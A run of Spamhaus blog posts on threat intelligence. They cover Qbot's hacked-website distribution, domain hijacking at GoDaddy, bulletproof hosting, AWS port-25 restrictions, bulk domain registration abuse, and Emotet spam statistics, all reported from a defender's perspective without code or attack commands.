What is Qbot? Qbot (aka Quakbot or Qakbot), is a piece of malware originally designed to enable bad actors to conduct financial fraud. This was done by intercepting traffic to the online banking systems of various banking institutions. Lately, it has been updated with worm-like features to help it spread laterally. This update has also broadened its credential-stealing tactics to include retrieving credentials from websites that are not related to online banking. Distribution tactics As with lots of malware, Qbot is distributed in various ways. Predominantly we’ve observed it being dropped by Emotet infections. However, in June 2020 we have seen dedicated malspam campaigns for Qbot. In these campaigns, the malicious payload has been in the form of a hacked server URL. If this URL is clicked by a victim it provides a zipped file containing an obfuscated VBScript that, if run, silently downloads and installs Qbot on the victim's machine. From the beginning of June Spamhaus tracked and listed domain names that were hosting Qbot, on the Spamhaus Domain Blocklist (DBL). The malspam operation, and subsequently our tracking, ceased on June 23rd. Qbot insights on hacked website operations You’d be right in thinking that if you follow an URL like this: http://www.example.com/subdir/file.zip you would be served an actual .zip file that was present in the specified directory, right? Wrong! Qbot uses a different approach. By working together with affected website owners, Spamhaus was able to retrieve the malicious code from several hacked websites. As it turns out, compromised websites abused by Qbot host a .htaccess file containing a rewrite rule, catching all requests under /subdir/. With this approach the Qbot operators can make it seem there are different subdirectories like: http://www.example.com/subdir/hello/donuts/file.zip http://www.example.com/subdir/madeupdir/anotherfile.zip http://www.example.com/subdir/yetanothernonexistantdir/thisfiledoesntexist.zip but in reality all that traffic gets redirected by the rewrite rule to a malicious PHP script. This PHP script itself acts as a proxy, fetching the actual malicious content from a second tier of servers. Not only does this approach allow for the creation of endless unique URLs to the malware, at the same time this obfuscation hides the real location of the malicious code on the hacked server, making mitigation by the website owners much harder. The victim who clicked on the link received in the malicious email has no clue that the file is not coming from the legit-looking URL they clicked, but instead it’s coming from somewhere else entirely. Why did those behind this malspam campaign use this trick? Sadly we don’t have a crystal ball, but we believe these factors would have contributed to the campaign’s design: Apache2 & PHP requirements:** Access to sites that were running apache2 and PHP were required. Since all common Content Management Systems like Wordpress or Typo3 rely on PHP, there were plenty of potential targets. Ability to easily access sites:** As the almost endless Emotet spam campaigns have taught us, gaining access to legitimate websites is (still) all too easy. These bad actors essentially had easy access to a large number of websites, which could be compromised in bulk; deploying their malicious code. Low profile:** Uploading relatively small file sizes enabled them to keep the lowest possible profile on the compromised websites. They created infinite bogus URLs, thus greatly reducing mitigation techniques like using antivirus signatures that are dedicated to URLs. Efficient deployment:** The same script was used to deploy both stage 1 (the droppers, the ZIP files) and stage 2 (the actual malware). Simple, easy, efficient. What more could a cybercriminal want? N.B. In the source code there were also instructions that set the timezone to Europe/Moscow for logging purposes. This could perhaps be an indication of the origin of the operation. Qbot malspam Across the campaigns the Malware Team observed, the following were used to propagate infections: Stolen email credentials Direct-to-mx connections from hacked servers Infected machines It's probably worth noting that out of 480 ASNs identified during our research, the top 10 senders account for more than 66% of the total emails sent. As previously outlined, the particular method that Qbot used to distribute stage 1 droppers provided the bad actors with the ability to use a different link in each email. This is clearly illustrated in the following chart which shows that the number of individual domains (hacked websites, in this case) was consistently around 150-180 domains daily. Meanwhile, the number of unique URLs spammed was an exact match to the number of emails sent on the same day: Qbot unique domains, URLs and emails For the month of June 2020, we saw 2117 IP addresses spread over 480 AS numbers send a total of 1571 distinct domain names. In other words, during the relatively small timeframe we monitored this campaign extensively, over 1500 websites were compromised and under control of the Qbot operators. Abuse desk responsiveness to Qbot reports Every domain that we listed on the DBL, in relation to Qbot, was noted as ABUSED-MALWARE. This type of listing automatically generates an email to the abuse contact of the ISP and/or network that hosts the compromised web server. To review how quickly abuse desks were to neutralize these threats we tracked their response times. The following table shows the quickest and slowest abuse desk responses, and outlines the average time taken to take down the malware: Abuse contacts with the quickest response times: | Abuse contact | Minutes to remove | Compromised servers | | --- | --- | --- | | @jagoanhosting.com | 32 | 3 | | @ergonet.it | 36 | 7 | | @sprinthost.ru | 36 | 6 | | @hostgator.com | 38 | 3 | | @eukhost.com | 77 | 2 | | @nic.ru | 80 | 2 | | @nl.leaseweb.com | 81 | 2 | | @ipipe.net | 88 | 3 | | @ezit.hu | 96 | 3 | | @gandi.net | 119 | 3 | Abuse contacts with the longest response times: | Abuse contact | Days to remove | Compromised servers | | --- | --- | --- | | @rusonyx.ru | 20.8 | 3 | | @inetmar.com | 19.5 | 2 | | @list.alibabainc.com | 16.9 | 3 | | @grena.ge | 16.9 | 3 | | @hostgator.in | 16.0 | 3 | | @voyar.net | 15.7 | 2 | | @internetbilisim.net | 14.7 | 2 | | @a2hosting.com | 14.0 | 9 | | @diginl.nl | 13.5 | 7 | | @omnilance.com | 13.2 | 2 | Mitigation and protection This Qbot malspam campaign is the perfect example of how the DBL can help protect your network and users from malware. While the Qbot campaign ran (June 4th - June 23rd), Spamhaus' data marked over 4.5 million queries about Qbot abused domains with a 'BAD' response, helping email administrators across the globe secure their email. All the compromised servers’ domains were listed in the DBL, so if you are using common open source products like SpamAssassin or Rspamd, you would have been automatically protected. Increased protection can be achieved by registering for a Data Query Service (DQS) account and using the dedicated Rspamd or SpamAssassin plugins. Even though we helped block millions of Qbot malspam messages, remember that a good defense is a multi-layered defense. We recommend that you also run appropriate security measures for your operating system and don't click links in suspicious emails to download files from the internet.

WEBINAR - Domain Hijacking, April 2020

The Spamhaus Team — Tue, 05 May 2020 11:16:14 GMT

Instances of domain hijacking are on the rise, and the fall-out for victims can be significant. Join ISC and Matt Stith, from Spamhaus to discover how big a problem domain hijacking is and learn how to protect against it.Since the start of this year, at one single registrar, Spamhaus has observed an average of 100 hijacked domains a day, read more here. Miscreants consider legitimate domains with a good reputation to be a very valuable asset. There are a number of ways bad actors can obtain your domain, from DNS hijacking to sending bogus emails to gain access to an owner’s registry account. The fall-out from having a domain hijacked can be significant. The webinar will be covering the following areas: The reality of the issue Real-life examples Providing advice to help mitigate, detect and remediate against domain hijacking. Watch the webinar.

Botnet Threat Update Q1 2020

The Spamhaus Team — Tue, 21 Apr 2020 12:00:00 GMT

The number of botnet Command & Controllers (C&Cs) associated with fraudulent sign-ups, reduced by 57% in Q1 2020, however it isn't all good news. Find out the full details on botnet C&C activity here.

The Current State of Domain Hijacking, and a specific look at the ongoing issues at GoDaddy

The Spamhaus Team — Fri, 17 Apr 2020 12:04:54 GMT

Domain hijacking is not a new problem, but it is one that gains strength if it is not countered effectively, and we have seen some disturbing trends in the last 6 months. Cyber criminals are increasingly relying on legitimate and well established domains in order to carry out their maliciousness on the internet. Because of a recent sharp increase in “Business Email Compromise” (BEC) we are seeing more and more domain hijacking. The criminals carrying out this activity are using many weapons in their arsenal to gain access to legitimate domains: phishing, social engineering, exploiting vulnerabilities in DNS management software, and delivering malware that gives them access to the unsuspecting user’s information. Once they have gained the access to manipulate the DNS of the targeted domains, they will create new hostnames (domain shadowing) that point to a different IP range that is not associated with the root domain, while keeping the root domain intact. Alternatively, they will change the name servers of the domain to point to a new location. After they have changed the DNS, they use the positive and well-established reputation of these domains to carry out large scale spam sending and malware hosting campaigns. These are meant to gather more user credentials, infect systems with malware, or disrupt users and businesses to suit their own needs. Using the positive reputation of the stolen domains allows them to evade spam filters and other protection methods that depend on reputational data. It would be logical to expect that registrars would be on top of the ever-changing landscape that is allowing criminal elements to exploit their users. However, Spamhaus is not seeing enough proactive and mitigating efforts by the world’s largest registrar, GoDaddy. In February we published an article What is going on at GoDaddy?. Two months have passed and we still are seeing a continual issue with legitimate domains registered at GoDaddy being hijacked for nefarious purposes. The story begins with (the threat of) a “Boom!” While issues with domain hijacking at GoDaddy have ebbed and flowed over the years, there have been notable events in the past year and a half that have created concern regarding GoDaddy’s commitment to resolving the threats posed to their users, and the collateral damage to the internet at large. In January 2019, it was reported that some domains that were registered at GoDaddy had been sending ransom bomb threats the previous December. These messages appeared to be from domains owned by legitimate, well-known brands. The group that appears to have been responsible for the GoDaddy hijacks (and the theft of approximately 4000 additional domains) was a Russian group nickednamed Spammy Bear by independent researcher Ron Guilmette. The group was exploiting a vulnerability in GoDaddy’s DNS setup platform that allowed them to register for free accounts. They would then use the automated service to send mail from dormant domains. In the research and report authored by cybersecurity journalist Brian Krebs, it was assumed that the vulnerability was related to a discovery by researcher Matthew Bryant in 2016. Shortly after the reports of this vulnerability were published, GoDaddy stated that the issue has been resolved. Unfortunately, in February 2019, a new campaign began sending out GandCrab ransomware, leveraging the same types of domains that we wrote about in January. When queried, GoDaddy stated that the domains involved in the campaign had been overlooked in the previous sweep, and that the problem from the previous month had truly been resolved after a closer look. But the problems are ongoing... Since these two very public reports about the reportedly resolved vulnerability issues at GoDaddy came to light, domain hijacking by and large has not ceased and in fact continues apace. In June 2019, Spamhaus researchers observed a large number of domains that were being abused by miscreants who were adding hostnames to be used for their own malicious purposes (domain shadowing): Spamhaus observed over 10,000 domain-shadowed legitimate domains that were pointing to Russian infrastructure. Our researchers reported these domains to GoDaddy directly and received no response. Only when we began reporting the issue to a wider audience did we see domain shadowing resolve itself…but still received no public response from GoDaddy. In December 2019, our researchers identified that once again, domains registered at GoDaddy were being hijacked by means of changes being made to the nameserver records. Since that time, we have seen up to 100 newly hijacked domains daily, all pointing to Russian space. This information has been reported to GoDaddy multiple times, but we have received no response or acknowledgement that an issue has been identified or resolved. A worrisome issue regarding both of the incidents that our researchers have been tracking is that there is no clear explanation of the cause. When we find these hijacked GoDaddy-registered domains, we list them, and then their users reach out to ask us why. We’ve found that some users have implemented best practices, only to be hijacked again. No useful explanation has been provided to them by GoDaddy. So, as we asked in February, we ask again now: “What is going on over at GoDaddy?” We understand that GoDaddy is the largest domain registrar in the world, and as such is a big target and attracts a lot of attention from malicious parties on the internet. GoDaddy is also not alone in their struggle with domain hijacking - all registrars are vulnerable in some way. However, it would seem that they are inexplicably resistant to accepting freely offered help from the larger internet community. Spamhaus’ mission is twofold: to protect users of the Internet, and to provide help and advice to operators that are under siege by malefactors. For anyone reading and learning about what we have seen and reported, please feel free to reach out to us and ask for help - that is what we’re here for. Users that are being impacted by Hijacks and have been listed by Spamhaus If you find that your domain has been hijacked, please first reach out to GoDaddy’s domain registration support. They will help you clean up and recover your account and/or domains. After everything has been restored, only then can Spamhaus remediate your listing. We cannot remove listings while they remain hijacked, for your safety and that of the rest of the Internet. Come and learn more at our webinar with ISC! We will be discussing what Spamhaus has seen from a domain hijacking perspective, some of the methods we have used to detect and track the hijacks, and some best common practices both domain owners and registrar/registries can implement to protect against those that wish to steal domains for their own malicious means. To participate, register on this page.

It was the best of times, it was the worst of times

Annalivia Ford — Tue, 07 Apr 2020 08:39:06 GMT

Calamity always magnifies the light and darkness in people. We see countless stories about people finding ways to help others in myriad and often creative ways: Armies of crafters who are sitting at home sewing face masks; Big companies re-tooling their factories to make hand sanitizer and PPE items that are urgently needed and in short supply; Retired healthcare specialists who are again donning their scrubs with no regard for their own safety; People in hospital sanitation who make it possible for the doctors to do their jobs; Postal & food delivery workers who are continuing to work to bring essential items to people in lockdown despite the risks to themselves. ...and so many, many more. The stories of the helpers are the ones that inspire us to be better people, and reassure us that not everything is terrible, even when the world appears to be on fire. Then there are the other kinds of stories. The stories about the people who use the destabilisation and panic caused by calamity, for personal profit. The groups and individuals that are delighted to use the confusion and fear generated by large disasters of any kind to prey on vulnerable people are very active right now. They use fear to con people into buying fake vaccines or cures, to donate to charities that are not real, to buy protective gear that never arrives, and to fool people into revealing their credit cards and identities using various social engineering, phishing, non-delivery and auction fraud scams. Possibly the most far-reaching and dangerous type of attack is ransomware. A ransomware attack on a healthcare provider locks down computers that typically contain electronic medical records, making it impossible for caregivers to access patient care information including medical histories, the dosages of drugs that patients require and other critical data. The attackers then offer to unlock the affected network in exchange for a ransom. Many victimized hospitals and laboratories, fearing casualties, pay the ransom. Brno University Hospital - second largest in the Czech Republic - was attacked in mid-March, which forced it to cancel operations, relocate patients and delay Covid-19 test results. At the time of this writing a team that works with the Czech Republic CERT is still working to fix the hospital's network. Hammersmith Medicines Research, a British company that is on standby to perform the medical trials on any COVID-19 vaccine, was targeted with a ransomware attack on March 14. The attack was deflected, although some patient data was exfiltrated and subsequently published. This points up the willingness of these malefactors to attack even institutions that are critical to the creation of a vaccine, which would presumably also be of interest to the attackers. Hammersmith managing director Malcolm Boyce said: "My message to other companies is to do everything possible to safeguard yourself because they are quite capable of putting companies out of business, and they are totally without conscience.” The healthcare sector is under unimaginable pressure from all directions at this time, and in view of this, Spamhaus is offering our DNS Firewall services free to healthcare providers through the end of 2020. Our DNS Firewall works by preventing DNS requests from resolving to malicious domains, and IP addresses by querying selected datasets. This provides users with automatic mitigation against threats including phishing, malware, ransomware and botnet C&Cs. The additional layer of protection at the DNS level gives Security and IT teams the ability to save on valuable resources, and focus on other urgent matters. If you are a Healthcare provider and would like to get access to either our DNS Firewall Managed Service, or our DNS Firewall Threat Feeds please provide your contact information, and we will be in touch quickly.

Weaponizing Domain Names: how bulk registration aids global spam campaigns

Dave Piscitello — Tue, 31 Mar 2020 10:13:03 GMT

We’re delighted to introduce Dave Piscitello as our first guest writer to the Spamhaus Blog. In 2019, Dave led research with the Interisle Consulting Group investigating criminal domain name abuse, focused on bulk registrations. These findings emphasized the need for more stringent measures to be put in place within the domain name industry, something that the current COVID-19 pandemic is further highlighting. Cybercriminals will always take advantage In their pursuit of criminals, cyber investigators need transparency when it comes to accessing domain registration data from WHOIS. Today, such concerns are coming from governments whose citizens are facing an avalanche of attacks exploiting the COVID-19/Coronavirus pandemic. In recent days, the U.S. Department of Justice filed a temporary restraining order against registrar Namecheap to suspend a domain that was used to host fake COVID test kits, citing that, "NameCheap, Inc. plays a critical role in the scheme by serving as the domain registrar of the website, which allows potential victims to access the website." The Office of the New York Attorney General has also contacted registrar GoDaddy and others, expressing concern that "cybercriminals have been registering a significant number of domain names related to 'coronavirus' in recent weeks” and has outlined "steps to prevent bad actors from taking advantage of the current crisis" in their correspondence. Here, we are looking at one of the several ways that miscreants exploit domain names, by utilizing bulk registration services to provide them with means to launch attacks from multiple origins. The lure of bulk domain registrations Cybercriminals rely upon domain names that can be rapidly acquired, used in an attack, and abandoned before they can be traced. Spam and ransomware campaigns, and criminal infrastructure operations – botnets and Ransomware or Phishing as a Service (RAAS, PhAAS) – particularly benefit from the ability to use bulk registration services offered by domain name registrars. Beast Mode, offered by the registrar NameCheap, Inc., illustrates how easily and cheaply domains can be acquired in this manner. Figure 1: https://www.namecheap.com/domains/bulk-domain-search/ In our October 2019 study, Criminal Abuse of Domain Names, we observed and collected a sample of extraordinary daily spikes in domain names added to multiple reputation blocklists, including Spamhaus Domain Blocklist (DBL). We investigated these events by studying the following: Creation dates Sponsoring registrar Registrant (which was typically fraudulently composed data). We were able to demonstrate that cybercriminals repeatedly registered hundreds or thousands of domain names in a matter of minutes. These were subsequently used to support snowshoe spam campaigns and phishing or ransomware attacks. Figure 2 provides an example of what these spikes look like at registration time, and Figure 3 illustrates the subsequent blocklisting dates of these same criminal domains. Figure 2: Registration dates of blocklisted.TOP domains in the February 2018 sample Figure 3: Blocklisting of .TOP domains in February 2018 study sample A context for weaponizing domain names The term ‘weaponize’ refers to the act of adapting something nominally benign – an off the shelf medicine, fertilizer, or even space – to serve as a tool in the pursuit of some malignant (criminal) activity. The broader context is that adapting these everyday items creates security threats, including national security threats to the well-being or lives of residents, visitors, and citizens. When terrorists misuse fertilizers to construct improvised explosive devices, they are effectively “weaponizing” ammonium nitrate. When criminals divert pseudoephedrine to the manufacture of methamphetamine, they inflict harm or loss of life by weaponizing a medication intended to relieve suffering. When cybercriminals acquire and employ thousands of internet domain names to distribute spam emitters, they are misusing domain names to cause financial loss or harm. In the extreme cases of ransomware attacks against healthcare or emergency systems or critical infrastructures, the potential harms include loss of life. What’s the return on investment for a cybercriminal? Cheap domain names, accessible in bulk, contribute to a criminal marketplace in which small investments can yield extraordinary returns. In the Interisle report, we consider the investment in a ransomware attack: Mailing lists can be purchased on the Dark Web, online or created using email harvesters, again available from programming repositories such as GitHub. 1000s of domain names can be acquired for pennies per domain from various registrars Malware can be purchased through RaaS as cheaply as $39.00. Similar opportunities exist for acquiring a Phishing kit, or these can be downloaded for free from repositories such as GitHub. Online tutorials for novices are available from YouTube. Assuming an extortion fee of U.S. $200-500, a ransomware attack can be profitable with fewer than a dozen victims. Multiple, successful ransomware campaigns yielding thousands of victims is within reach, making this criminal activity a possible $1M/year enterprise. The domain name industry’s obligation to protect the public from harm Other industries recognize and accept their obligation to protect the public from criminal misuse of potentially dangerous products through mandatory or recommended validation regimes. U.S. pharmacies, for example, require valid proof of identity from any party that attempts to purchase quantities of pseudoephedrine that exceed well-defined limits. Legitimate businesses comply with these and like-minded regulations in the interest of public safety. The domain name industry could accept a similar obligation by verifying registrant payment methods as part of the validation process; for example, registrars could decline transactions in which the registrant contact data does not match the authorized credit card user. They could also prohibit anonymous or non-traceable payment methods. In our study, we used hundreds of thousands of current and historical domain registration (Whois) records to demonstrate that criminals routinely and repeatedly weaponize domain names using bulk registration. When registrant information was unavailable, correlation and attribution of bulk registrants were notably more difficult. We recommend that ICANN include a flag in registration records that indicates whether or not the domain name was registered as part of a bulk registration. The “bulk registrant” data element could be used to track or ban an abusive registrant across delegated gTLDs. This lies well within ICANN’s security, stability, and resiliency bylaws remit to protect the public. Other industries track resources that can be weaponized; for example, tracking regulations apply to sellers of ammonium nitrate in the USA. These exist to protect the public against the construction of improvised explosive devices. Most ammonium nitrate purchases are legitimate; so are most domain name registrations. But just as ammonium nitrate safety measures protect the public from acts of terrorism, this policy would protect the public from misuse of domain names for extortion, fraud, and other criminal acts. The domain name registration system was never intended to supply criminals with thousands of domains in matters of minutes. ICANN can and should try to adopt a policy to mitigate abusive bulk registration. About Dave Piscitello Dave has been involved in Internet technology for over 40 years. He participates actively in global collaborative efforts by security, operations, and law enforcement communities to mitigate Domain Name System abuse and malicious uses of Domain names. He publishes articles regularly on security, DNS, antiphishing, malware, Internet policy, and privacy, and maintains a highly active, insightful, and entertaining info site as The Security Skeptic. Dave is an Associate Fellow of the Geneva Centre for Security Policy, a member of the Boards of Directors of the Antiphishing Working Group (APWG) and the Coalition Against Unsolicited Commercial Email (CAUCE), and former invited participant in the Organisation for Economic Co-operation and Development (OECD) Security Expert Group. In February 2019 Dave received the M3AAWG Mary Litynski Award.

Amazon Web Services - thwarting spam with a decade-old best practice

The Spamhaus Team — Fri, 28 Feb 2020 13:56:26 GMT

When things move to the "cloud", sadly, good things don’t always follow. Miscreants of various sorts have long recognized that they too can benefit from the same advantages as regular users: scalability, abstraction and pay-per-use. It was thus no surprise that spamming operations set-up shop on the biggest of all clouds: Amazon Web Services (AWS).  Difficulties in detection  This is not news per se, but these malicious operators quickly found their way into the extensive array of APIs offered by AWS. By building their set-up specifically around the AWS ecosystem, cybercriminals rapidly maneuvered within it. As a result, mitigation was difficult not only for those receiving their spam but also for the AWS abuse team, which, on occasion, had difficulty pinpointing the offending accounts. History repeating itself  What’s interesting is that this isn’t the first time we’ve observed this kind of situation; it isn’t a million miles away from the "spambots in end-user systems" which have been around for over 10 years. Spambots have infected end-users' systems for years, taking advantage of network and IP address diversity to get the spam out. Similarly to there being no necessity for the majority of end-user systems to send mail directly, neither does the majority of cloud infrastructure. Tipping point at AWS Top ASNs appearing in Spamhaus CSS Listings Spamhaus has an automated listing of IP addresses that are involved in sending low-reputation email; this data set is called CSS. In early 2020, a critical tipping point was reached; over 50% of Spamhaus’ CSS listings were made up of IPs that existed on two autonomous system (AS) numbers; AS16509 and AS14618. Both of these AS numbers are used by AWS. But, Spamhaus wasn’t the only organization to notice!  Restricting Port 25  At the end of January 2020, AWS announced that they would start restricting port 25 access, by default. Why restrict port 25? Well, port 25 is the channel designated for sending email. By restricting this port, operators force email to go through dedicated outbound mail-servers instead of direct-to-mx, thereby greatly limiting the damage that can be done. In AWS's FAQ regarding this change, it explains that it is taking this action "to protect customers and other recipients from spam and email abuse." Does this sound familiar? It should; this is what the majority of internet service providers (ISPs) have done for years to their end-user networks. By deploying this relatively simple countermeasure, massive amounts of abuse are not only mitigated but will simply never occur in the first place. A nod to AWS AS16509 & AS14618 CSS Listings decrease Sharp decrease after rolling out port 25 blocks Spamhaus applauds the efforts of the various AWS teams involved in this endeavor. As the graph to the right illustrates, blocking port 25 outbound has had a significant effect on the malicious traffic we have been observing across AS16509 and AS14618 - and the numbers are still reducing. This will save the world from a lot of spam while making the AWS cloud space significantly cleaner. Don’t make resources available to miscreants There are valuable lessons to be learned here for the wider internet community; abusers will go wherever they can get the resources. With this in mind, products and architecture should always be designed factoring in abuse i.e., how cybercriminals could work the product/architecture to their advantage. Customers should always be vetted and infrastructure constantly monitored for abuse, and where abuse is reported, speedy remediation should take place.   Finally, a thought for us all: the best spam is the spam that is never sent in the first place.

Botnet Threat Update 2019

The Spamhaus Team — Tue, 28 Jan 2020 12:00:00 GMT

Spamhaus Malware Labs identified a 71.5% increase in the number of botnet command & controllers in 2019. Find out who and what was driving that increase.

Bulletproof hosting – there’s a new kid in town

The Spamhaus Team — Thu, 19 Dec 2019 14:22:16 GMT

Our researchers have uncovered a new breed of "bulletproof" hosting. Worryingly, the set-up for cybercriminals is more cost-effective, less risky, and provides greater agility compared with that of 'conventional' bulletproof hosting, making it easier for them to host all kinds of badness. Here's what you need to know... The preferred choice of cybercriminals For a long time, “bulletproof” hosting was a favorite place for spammers, phishers, botnet operators, and malware authors to host their infrastructure on. Why? Well, unlike other hosting providers, bulletproof hosting companies do not act on abuse reports. As you can imagine, this is an attractive proposition for bad actors; they can rest easy, comfortable in the knowledge that their malicious infrastructure will stay online without fear of it being taken down. Taking a stand against bulletproof hosting companies Since its founding days, well over 2 decades ago, The Spamhaus Project has identified dozens of bulletproof hosting companies, most of which were subsequently shut-down, negatively impacting the operations of cybercriminals across the globe. Some famous examples include McColo, 3FN and CB3Rob (also known as “Cyberbunker"). That last disconnect resulted in one of the most severe DDoS attacks ever seen in history, targeting ‘spamhaus.org.' More recently Maxided and 'Cyberbunker 2.0' were taken offline by various authorities. Current challenges facing traditional bulletproof hosting companies Recently, running a bulletproof hosting company has become somewhat more difficult. There are several reasons for this, including: Internet and transit providers do not wish to get associated with these types of illegal operations. If they route or peer with a network that is known to provide bulletproof hosting, these Internet & transit providers are viewed in a bad light, damaging their reputation. Internet and transit providers don’t wish to associate with illicit network operations. Routing bulletproof hosting networks can affect the upstream’s reputation and connectivity, and financial transactions with unscrupulous operations are uncertain. Connections on the internet rely on trust relationships, and poor reputation removes that trust. Spamhaus publishes a ‘Don’t Route or Peer’ (DROP) list, which contains netblocks and, more recently, AS numbers that are leased to identified spammers or cybercrime operators. This list is utilized by many Internet Service Providers (ISPs) who consult the DROP list before they announce or peer with a new AS/prefix. As a result, miscreants are finding it increasingly difficult to have an ISP announce their netblock. Over the past few years, anonymization networks such as Tor, have become increasingly popular. The advantages provided by such networks, such as providing threat actors with full anonymity, alongside immunity against takedown attempts, has led some to move their operations away from bulletproof hosting companies onto the dark web. It is important to note, however, that there are a handful of disadvantages to moving infrastructure, such as botnet C&C servers, onto anonymization services: Malware needs to be able to communicate through the anonymization network These networks are inclined to be slow and unreliable Taking all the above into consideration, it’s safe to say that from a cybercriminal’s perspective, running a bulletproof hosting company isn’t always easy. But it appears there’s a new kid on the block! Earlier this year, we identified a new hosting provider, selling its bulletproof hosting services on the dark web. New modus operandi of a bulletproof hosting operation Our investigations have shown that this latest bulletproof hosting provider operates with a new “modus operandi." One that is entirely different from that which we have observed previously, with traditional, bulletproof hosting companies. To date, these types of companies have operated their own netblocks, and occasionally even their own ASs. This new operation, however, is renting virtual private servers (VPSs) at legitimate hosting providers using stolen or fake identities. They ask their customers to point their domain names to the newly registered VPSs. What then takes place is that these front-end servers act as reverse-proxy servers, forwarding the incoming traffic towards a chain of reverse proxy servers to the final backend. Almost without exception the domain names that are pointing to these newly registered VPSs have the following commonalities: The domains usually have 3-4 A records with a public Time to Live (TTL) of 600 seconds The domains all use the Chinese DNS operator DNSpod (Tencent) for DNS resolution ([a-c].dnspod.com) All A records have a Nginx running on port 80 and port 443 What operations are running on this hosting service? This year we have seen a large variety of cybercrime operations being hosted this way, including: Carding and hacker forums Spammer sites Phishing sites Malware distribution sites Botnet C&Cs Most of the recently detected C&Cs are hosted through this setup As stated above, the actual hosting is done on virtual servers across many different networks and providers. Most of these providers are located in Russia, and all share the following factors: They are very cheap They accept payments from the Russian payment service provider WebMoney They have a weak or even nonexistent customer verification/vetting process. This allows threat actors to sign-up for a new VPS without going through a process that vets both their identity and order, which in turn exposes these cheap VPS providers to a large amount of abuse. From September 2019 to the third week of december 2019, Spamhaus has identified a total of 4,117 botnet C&Cs. Of which, 3,620 were hosted on this new bulletproof hosting outfit, meaning that in terms of 'market share' related to botnet C&C activity, this organization is hosting the vast majority of them. The table below lists the top hosting providers that are being (ab)used by this new bulletproof hosting company: | # of botnet C&Cs | Hosting provider | Country | | --- | --- | --- | | 325 | simplecloud.ru | Russia | | 283 | reg.ru | Russia | | 239 | ispserver.com | Russia | | 215 | mtw.ru | Russia | | 199 | timeweb.ru | Russia | | 170 | marosnet.ru | Russia | | 164 | spacenet.ru | Russia | | 135 | melbicom.net | Russia | | 125 | mchot.ru | Russia | | 117 | netangels.ru | Russia | | 117 | greenvps.net | Russia | | 109 | nethost.com.ua | Ukraine | | 97 | itos.biz | Russia | | 79 | confortel.pro | Russia | | 65 | dhub.ru | Russia | | 64 | adminvps.ru | Russia | | 60 | ruvds.com | Russia | | 58 | server-panel.net | Ukraine | | 52 | selectel.ru | Russia | | 46 | galadydata.ru | Russia | What are the benefits for cybercriminals of using this new bulletproof hosting set-up? Running a bulletproof hosting company this way comes with various advantages to cybercriminals, compared to the traditional model: Minimal threat from law enforcement - A vast amount of these VPS providers are located in Russia and hence outside the reach of western law enforcement agencies. Minimal cost - These VPS providers are all very cheap, which is a positive given the fact that a single VPS generally only stays active between a couple of hours to a maximum of a couple of days. Agility - Despite most of these VPS providers quickly shutting down the VPSs being used for malicious purposes, this bulletproof hosting company can quickly change the A record of the customer’s domain name (even in an automated way using DNSPod’s API). Minimum impact on operations - All of these domain names are using multiple A records, therefore shutting down just 1-2 of them will have almost no effect on the cybercrime operation, as others remain active. How to combat this new threat? This new modus operandi works only so long as long as there are (cheap) hosting providers that have a weak or non-existent customer vetting/verification service. We have published guidelines outlining how hosting providers should vet their new customers to battle fraudulent sign-ups. Also, domain registrars must adopt a similar process to vet new domain registrants. Furthermore, registrars need to shut down registrants and resellers that have a high volume of fraudulent domain registrations. Spamhaus users are protected from spammer, phishing, and malware sites, as well as botnet C&Cs hosted by this bulletproof organization, by using the following data feeds: Spamhaus Don’t Route Or Peer Lists (DROP) Spamhaus Domain Block List (DBL) Spamhaus Botnet Controller List (BCL) It’s no great surprise that we are witnessing a change in the set-up of bulletproof hosting companies; the threat landscape is constantly evolving in the ‘cat & mouse’ game that is played out between those who wish to protect the Internet and those who wish to make illegal gains from it. However, this does, once again, highlight the fact that EVERYONE who has a stake in the Internet needs to responsibly play their part in keeping it a safe environment.

Estimating Emotet’s size and reach

The Spamhaus Team — Thu, 12 Dec 2019 16:26:00 GMT

As many of you will be aware, Emotet, one of the most dangerous botnets in operation, restarted its malicious activity on 16th September 2019. Since its resurgence, Spamhaus Malware Labs has been closely monitoring and studying Emotet’s activity. Here’s what we’ve uncovered... Change in Emotet’s behavior One of the most noticeable changes that we observed over the past three months was that Emotet had predominantly spammed Microsoft Office documents containing malicious macros. This differed significantly from its old modus operandi of mixing both infected Office documents and URLs in its malware campaigns. We found this rather odd, as most anti-spam solutions these days tend to block or quarantine, by default, all Office documents that include macros with suspicious functions like CreateProcess, ShellExecute, etc. We initially deduced from this change in behavior that the cyber-criminals using Emotet considered this to be the most cost-effective solution. However, over the past few days (approximately 6th December 2019), we are once again observing the inclusion of malware URLs. Perhaps those anti-spam solutions were proving too efficient at blocking the macro-enabled MS Office documents? Emotet email volume and corresponding attachments The period of our detailed observation commenced on 9th October 2019 and ended on 7th December 2019. It focuses on the spamming part of Emotet; therefore, our deductions relating to size only apply to this part of the botnet. We suspect the overall size to be much greater, as it would include dormant infected machines i.e., those machines which aren’t spamming. The following graph shows the number of emails detected per day (divided per Emotet epoch). The above data infers that Emotet started slowly during its first few weeks back, before ramping up to its highest volumes in the week commencing Mon 18th November 2019. However, the variance in the number of unique file attachments did not change relative to the volumes. It is worth noting that over the final few weeks of this reporting period, Emotet started working on Saturdays too, albeit at very low volumes. This next graph shows how many distribution URLs, compared to distinct attachments, we have observed. Please note that when we refer to “distinct attachment,” we mean only that the file checksum was different, not that the distribution URL was also different, as files with different checksums would often use the same distribution URL. Take a look at the spike in distribution URLs on 6th December 2019; this corresponds with Emotet restarting spamming malware URLs directly through emails, as referred to earlier. Emotet recipient frequency Now, let’s analyze how efficient Emotet is in targeting unsuspecting victims. We already know that Emotet exfiltrates Outlook/Thunderbird address-books from infected machines, and also uses thread hijacking to try and lure targets into opening the attachment. This graph shows how many separate recipients were detected, scaled to the total of email sent. In our humble opinion, this is pretty impressive! Emotet sends one single email to each different recipient every day, with minimal overlap. This means that any individual recipient would most likely receive only one of Emotet’s emails per day; from a criminal’s perspective, this is positive, as being too ‘noisy’ can be dangerous. A notable exception to the above was on 5th November 2019. On this date, we suspect that something probably went awry with Emotet, because two different infected emails were sent to almost every recipient. Number of spamming IP addresses Below the graph illustrates the daily distribution of unique spamming IP addresses we detected per Emotet epoch: The largest peak we observed over this period was more than 18,000 unique malspamming IP addresses, which gives the operators a good IP and geo diversity. From our observations, we suspect that epoch2 is the most populated part of the botnet, closely followed by epoch1, while epoch3 is still lagging in terms of reach. More stats on Emotet Last but not least, here are some global statistics on all the autonomous systems, countries and sent emails that we have detected over the observation period: | | | | --- | --- | | Total number of ASn detected: | 5.430 | | Total number of unique IPs detected: | 120.764 | | Total Countries participating: | 193 | | Total emails sent: | 10.935.346 | | Total distribution URLs: | 4.726 | | 